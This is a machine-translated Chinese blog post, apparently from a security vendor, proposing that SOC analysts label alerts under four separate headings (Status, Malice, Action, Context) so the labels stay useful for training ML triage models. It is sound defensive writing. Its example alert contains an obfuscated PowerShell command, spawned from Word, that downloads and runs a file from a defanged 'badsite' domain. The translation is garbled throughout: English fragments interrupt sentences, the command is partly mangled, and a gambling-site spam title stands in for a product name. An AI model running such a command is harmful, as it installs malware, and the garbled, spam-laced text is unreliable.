最后更新于2023年5月17日(星期三)17:16:03 GMT

如果你曾经在 安全运营中心(SOC),你知道这是一个特别的地方. 除此之外, SOC是一个巨大的数据标签机器, 并产生了网络安全行业中最有价值的一些数据. 不幸的是,这些有价值的数据往往变得无用,因为 way 我们对SOC事务中的数据进行了大量标记. 有时,出于节省时间或精力的良好意图而做出的决定可能会无意中导致数据丢失或损坏.

必须提前采取深思熟虑的措施,以确保SOC分析师应用于警报的辛勤工作产生有意义的结果, usable datasets. 如果记录和处理得当,这些数据可以大大改善SOC的操作. 这篇博文将演示警告标签的一些常见缺陷, 并将为soc提供一个新的框架,这个框架可以更好地洞察操作并实现未来的自动化计划.

首先,让我们为本次讨论定义“SOC操作”的范围. 所有的soc都是不同的, 许多人做的远不止是警报分类, 但是为了这个博客的目的, 让我们假设一个“典型的SOC”以警报或日志(或两者)的形式摄取网络安全数据。, analyzes them, 并向利益相关者输出报告和行动项目. Most importantly, SOC决定哪些警报不代表恶意活动, which do, and, if so, 该怎么办呢. In this way, SOC可以被认为是对其分析的网络安全数据应用“标签”.

至少有三个主要群体关心SOC在做什么:

  1. SOC领导力/管理
  2. 客户/利益相关者
  3. 英特尔/检测/研究

这些小组对每个警报都有不同的,有时是重叠的问题. 我们将尝试将这些问题归类为我们现在称之为“状态”的问题, Malice, Action, Context (SMAC) model.

  • StatusSOC领导和MDR/MSSP管理通常想知道:此警报是否打开? 有人在看吗? 什么时候关门的?? 花了多长时间?
  • Malice检测和威胁情报团队想知道签名是否在区分好坏方面做得很好. 此警报是否发现了恶意内容,还是偶然发现了良性内容?
  • Action客户和利益相关者想知道他们是否有问题, what it is, 以及该怎么做.
  • Context利益相关者、情报分析师和研究人员希望了解更多有关警报的信息. Was it a red team? 是内部测试吗?? 它是与高级持续威胁(APT)参与者相关的恶意软件,还是一种“商品”威胁? 活动是否塌陷或阻塞?

这些不同的问题不能通过一个下拉标签来回答或记录. 不幸的是,这正是大多数警报审查控制台所能提供的. 这些看起来眼熟吗?

这些下拉列表有什么共同之处? 他们都试图回答至少两个问题,有时是三个或四个问题 one drop down menu. 菜单1的标签显示状态和恶意. 菜单2包括状态、恶意和上下文. 菜单3试图同时回答这四个类别.

我已经看到并使用过其他界面,其中“状态”标签被分解成一个单独的下拉菜单, 虽然这很好, 没有把剩下的类别分开——恶意, Action, 或者语境——仍然会造成混淆.

我也见过其他界面,比如Menu 3, 似乎每一个可能的场景都有几十个选择. However, 这就不允许对不同的问题使用不同的标签, 再次制造混乱和噪音.

我说的困惑是什么意思? 让我们看一个例子.

恶意或良性?

下面是一个假设的windows进程启动警报:

父进程:WINWORD.EXE

Process: CMD.EXE

工艺参数: 'pow^eRSheLL^.例e ^ ^ u ec - e x ^ ^ ^ ^ tI o ^ ^ nP ^ OLIcY ^ ByP ^一个^ ^年代-nOProf ^我e L ^ ^ ^ - ^ WIndoWST ^ YLe D H ^我^ ^ N ^ ^ (ne ^言^ BJe c ^ ^ T ^ SY ^. Ne^T^.^w^eB^cLie^n^T^).W ^ ^ ^做nlo ^ aDfi Le (^ ^ http:// www (.]badsite[.]top/user.php?f=1.dat ' ^ ' % USERAPPDATA %. eXe”);ar ^ T - s ^ T ^ ^亲^ ce ^ ^年代^ ^ % USERAPPDATA %.exe'

在本例中,假设上面的细节是警报工件的全部. 仅基于此信息, 分析人员可能会认为此警报表示恶意活动. 用户以这种方式执行此操作没有明确的合法理由, in fact, 此语法与已知的恶意示例匹配. 所以应该贴上恶意的标签,对吧?

如果这不是威胁呢?

However, 如果在执行此操作时查看相关的网络日志会怎么样呢, 我们发现了和 www[.]badsite[.]com 指挥和控制(C2)领域陷入困境? 这个警报现在会被标记为良性还是恶意? 那要看是谁问了.

如上所示,该工件本质上确实是恶意的. PowerShell命令打算下载并执行%USERAPPDATA%目录下的文件, 并且已经采取措施通过使用PowerShell混淆字符来隐藏其目的. 而且,PowerShell是由WINWORD衍生出来的.EXE,这通常是不合法的. 最后,此行为与其他公开记录的恶意活动示例相匹配.

虽然我们可能已经发现恶意回调被击穿了, nothing 在警报构件中 说明这次袭击没有成功. 它沉没的事实是完全不同的信息, 从其他获得, 相关的工件. 因此,从检测或研究的角度来看,这个警报本身是100%恶意的.

However, 如果你是利益相关者或客户,试图管理每天大量的升级, tickets, and patching, 它被挖沉的间接信息非常重要. This is not a threat 你需要担心的是. 如果你收到一份关于商品攻击的报告,那可能是浪费你的时间. For example, 当您收到恶意报告时,您可能会有自动启动的内部工作流, 你也不想为了一个不紧急的问题而麻烦不断吧. So, 从你的角度来看, 只能选择恶意还是良性, 你可能想把它叫做良性的.

下游影响

Now, 假设我们只有一个级别的标签,我们将上面的警报标记为良性, 因为与C2的连接中断了. Over time, 分析师们决定采用这样的策略:将任何不构成实际威胁的警报标记为“良性”, 即使它本质上是恶意的. 我们可能会决定提交一份“信息”报告让他们知道, 但我们不想用一堆假警报来麻烦客户, 这样他们就能专注于真正的威胁.

alert-labeling-1

A year later, 管理层决定完全自动化对这些警报的分析, 所以我们让我们的数据科学家在去年标记的基于过程的工件上训练一个模型. 由于某种原因,这个威力巨大的数据科学模型经常会错过被混淆的PowerShell攻击! The reason, of course, 是模型在学习过程中看到了一堆标记为“良性”的东西, 并且已经确定混淆的PowerShell语法到达像上面这样的可疑域是完全没有问题的,不必担心. 毕竟,我们一直在用我们的“良性”称号一次又一次地教导它.

我们模型的假阴性率高得离谱. “当然,我们可以回去找到并重新贴上标签,”我们决定. “That will fix it!.” Perhaps we can, 但是,要做到这一点,我们就必须把过去一年已经做过的工作再做一遍. 通过限制我们的标签只有一个层次的标签, 我们破坏了几个月来昂贵的专家分析,使其变得毫无用处. 为了解决这个问题,使我们的工作自动化,我们现在必须做更多的工作. And indeed, 没有分开的标签类别, 我们可能会以其他方式陷入同样的陷阱——即使是出于最好的意图.

剧本陷阱

假设你想 提高SOC的效率 (谁不是呢,对吧?!). 您发现分析人员花费大量时间点击按钮并复制警报文本来编写报告. 因此,经过几个月的开发,您推出了精彩的新产品 自动响应报告工作流,当然你们内部称之为"Project ARRoW.“一旦分析师将警报标记为‘恶意’,, 报告草稿将自动生成,其中包含来自警报的信息和一些样板建议. 分析师所要做的就是点击“发布”,然后将其发送给涉众! Analysts love it. 《十大赌博正规信誉网址》取得了巨大的成功.

However, 大约一个月后, 你的一些利益相关者说他们不想要更多的潜在不受欢迎的项目(PUP)报告. 他们正在使用一些浮油 应用程序编程接口 报告门户的集成, 每次你发表报告, 这会给他们带来麻烦和大量的工作. “别再给我们发这些PUP报告了!” they beg. So, 当然你会同意停下来,但问题是绿箭, 如果您标记为恶意警告, 报告将自动生成, 所以你必须把它们标记为良性以避免这种情况. Except they’re not Benign.

现在你的PUP签名看起来很糟糕,即使它们不是! 您的PUP分类模型, 旨在自动区分真正的PUP警报和假阳性, 现在丢失了实际的恶意活动(哪一个, remember, 你所有的其他客户 still 想知道),因为它受过不良标签的训练. 这一切都是因为你想要简化报告! 不知不觉中, 您正在编写单独的开发票据,将客户特定的期望添加到ARRoW中. 您甚至可以构建一个“客户异常仪表板”来跟踪所有这些异常. 但你只会让自己陷得更深.

应用多个标签

这个问题的解决办法是 用不同的答案回答不同的问题. 将单个标签应用于警报不足以回答SOC利益相关者想要知道的多个问题:

  1. 审查过了吗?? (Status)
  2. 这是否表明存在恶意活动? (Malice)
  3. 我需要做些什么吗? (Action)
  4. 关于警报我们还知道什么? (Context)

这些问题应该在不同的类别中分别回答, 这种分离必须强制执行. 有些类别可以是开放式的,而其他类别必须保留有限的多项选择.

Let me explain:

Status这里的选项应该包括默认选项,如OPEN, CLOSED, reporting, ESCALATED等. 但是应该有能力根据组织的工作流程添加新的状态标签. 这种权力或许应该由管理层掌握, 确保新标签符合所需的工作流程和指标. 在这里设置标签应该是强制的,以便进行警报分析.

Malice这个类别可以说是最重要的一个, 理想情况下,应该限制在两个选项:恶意或良性. To clarify, 我在这里使用Benign来表示反映计算资源正常使用情况的活动, 但不适用于其他性质的恶意使用,但已被减轻或阻止. Moreover, 良性不适用于旨在模仿恶意行为的活动, 比如红队或者测试. 简单地说,“良性”活动是那些反映正常用户和管理使用的活动.

Note如果一个组织选择添加第三个标签,如“可疑”,“请放心,这个标签最终会被滥用, 也许是在环境模糊的情况下, 或者作为自定义工作流的占位符. 添加恶意或良性之外的任何选项都会给该数据集增加噪音并降低其有用性. 请注意,这种效用的减少并不是线性的. 即使在非常低的噪声水平下,数据集在功能上也会变得毫无价值. 正确的实施, 分析师必须在恶意或良性之间做出选择, 在这里输入一个标签应该是强制性的. If caveats apply, 可以在评论区添加它们, 但在污染标签空间之前应采取一切措施.

Action在这里你可以记录回答这个问题的信息:“我应该对此做些什么吗??这可以包括像“主动妥协”这样的选项,” “Ignore,” “Informational,” “Quarantined,” or “Sinkholed.经理和管理员可以根据需要在这里添加标签, 选择一个标签应该是强制性的. 这些标签不需要相互排斥,这意味着您可以选择多个标签.

Context:这个类别可以作为一个包罗万象的类别来记录任何你还没有捕捉到的信息, 比如归因, 疑似恶意软件家族, 不管这是测试还是红队, etc. 这通常也被称为“标记”.“这个类别应该是最开放的,可以添加新标签, 并小心规范化标签,以避免像“APT29”之类的事情. ‘apt29’, etc. 这个类别不必是强制性的,标签也不应该是相互排斥的.

Note由于上下文类别是最灵活的,因此这里存在滥用的可能性. SOC领导层应定期审核新创建的上下文标签,并确保没有建立绕过以前类别中有意义的标签的解决方案.

垃圾进,垃圾出

监督SOC模型就像新的分析师——他们将从其他分析师的历史经验中“学习”. 简而言之, 当模型在警报数据上“训练”时, 它会查看每个警报, 查看相应的标签, 并试图找出这个标签被贴上的原因. However, 不像人类分析师, 受监督的SOC模型不能问后续的上下文问题,比如, “Hey, 你为什么把这个标记为良性?或者“为什么有些标记为‘红队’,而另一些标记为‘测试’??机器学习(ML)模型只能从给定的标签中学习. alert-labeling-2如果标签错了,型号也就错了. Therefore, 花时间真正思考我们如何以及为什么以某种方式标记数据可能会在数月或数年后产生影响. 如果我们正确地标记警报, 我们可以衡量——并因此改进——我们的运营, threat intel, 更成功地影响客户.

我也认识到,任何从事用户界面(UI)设计的人都可能对这个想法感到畏缩. 更多的按钮和更多的点击在一个已经繁忙的界面? 事实上,当我尝试实现这样的系统时,我就有过这样的对话. However, 拥有统计上有意义的数据的长期好处超过了增加一三个标签的成本. 以这种方式分离类别还使警报工作流成为自动化规则引擎和自动化的更丰富的目标. 因为有多种分类, 自动警报处理规则不必是全有或全无, 但可以更具体地针对更复杂的标签组合进行定制.

我们为什么要关心这个?

想象一下,SOC分析师不必浪费时间审查明显的误报, 或者重复商品恶意软件. 想象一下这样一个世界,SOC分析师只处理有趣的问题——新型的邪恶, targeted activity, 积极的妥协.

想象一下这样一个世界:利益相关者可以得到更及时、更可操作的警报, 而不是每月汇总和由于容量问题而错过警报时的偶尔的行动后报告.

想象一下集中式ML模型直接从客户soc中应用的标签中学习. 了解在一个客户环境中检测到的恶意行为可以立即改进所有客户的警报分类模型.

SOC分析员有时间做更深入的调查, more hunting, 还有更多的训练来应对新的威胁. 拥有更多价值和更少噪音的利益相关者. 威胁信息即时纳入实时机器学习检测模型. 我们怎么去那里?

第一步是建立有意义的、有用的警报数据集. 使用上面描述的标签方案将有助于提高SOC警报标签的保真度和完整性, 并为这些创新铺平道路.